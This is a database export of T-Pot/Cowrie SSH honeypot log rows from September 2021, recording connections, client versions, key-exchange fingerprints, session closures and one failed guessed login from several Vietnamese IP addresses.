"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36148, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.953900", "@timestamp": "2021-09-20T11:07:20.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22657	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:20.364281+03	2021-09-20 14:15:06.49447+03	{"_id": "6QbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0fd9c92632ff", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:20.364281Z", "@timestamp": "2021-09-20T11:07:20.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22658	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:20.415351+03	2021-09-20 14:15:06.495469+03	{"_id": "6gbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bdbaa5b030cc", "@version": "1", "timestamp": "2021-09-20T11:07:20.415351Z", "@timestamp": "2021-09-20T11:07:20.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22659	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:20.425346+03	2021-09-20 14:15:06.49747+03	{"_id": "6wbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e73a41285afe", "@version": "1", "duration": 2.3288328647613525, "timestamp": "2021-09-20T11:07:20.425346Z", "@timestamp": "2021-09-20T11:07:20.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22660	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:20.633883+03	2021-09-20 14:15:06.49847+03	{"_id": "7AbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c3830fb13224", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:20.633883Z", "@timestamp": "2021-09-20T11:07:20.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22661	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:20.651804+03	2021-09-20 14:15:06.499469+03	{"_id": "7QbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1f6da6736d76", "@version": "1", "duration": 2.177747964859009, "timestamp": "2021-09-20T11:07:20.651804Z", "@timestamp": "2021-09-20T11:07:20.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22662	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:20.668641+03	2021-09-20 14:15:06.500469+03	{"_id": "7gbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0fd9c92632ff", "@version": "1", "timestamp": "2021-09-20T11:07:20.668641Z", "@timestamp": "2021-09-20T11:07:20.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22663	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:20.68029+03	2021-09-20 14:15:06.50147+03	{"_id": "7wbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1212aec356af", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:20.680290Z", "@timestamp": "2021-09-20T11:07:20.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22664	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:20.768506+03	2021-09-20 14:15:06.50347+03	{"_id": "8AbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [david/david123] failed", "session": "ca082dd3e488", "@version": "1", "password": "david123", "username": "david", "timestamp": "2021-09-20T11:07:20.768506Z", "@timestamp": "2021-09-20T11:07:20.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22665	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:20.944517+03	2021-09-20 14:15:06.504469+03	{"_id": "8QbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "eef8b70c24b3", "@version": "1", "duration": 3.3945095539093018, "timestamp": "2021-09-20T11:07:20.944517Z", "@timestamp": "2021-09-20T11:07:20.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22666	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:20.954633+03	2021-09-20 14:15:06.505469+03	{"_id": "8gbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c3830fb13224", "@version": "1", "timestamp": "2021-09-20T11:07:20.954633Z", "@timestamp": "2021-09-20T11:07:20.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22667	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:20.968444+03	2021-09-20 14:15:06.5075+03	{"_id": "8wbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1212aec356af", "@version": "1", "timestamp": "2021-09-20T11:07:20.968444Z", "@timestamp": "2021-09-20T11:07:20.968Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
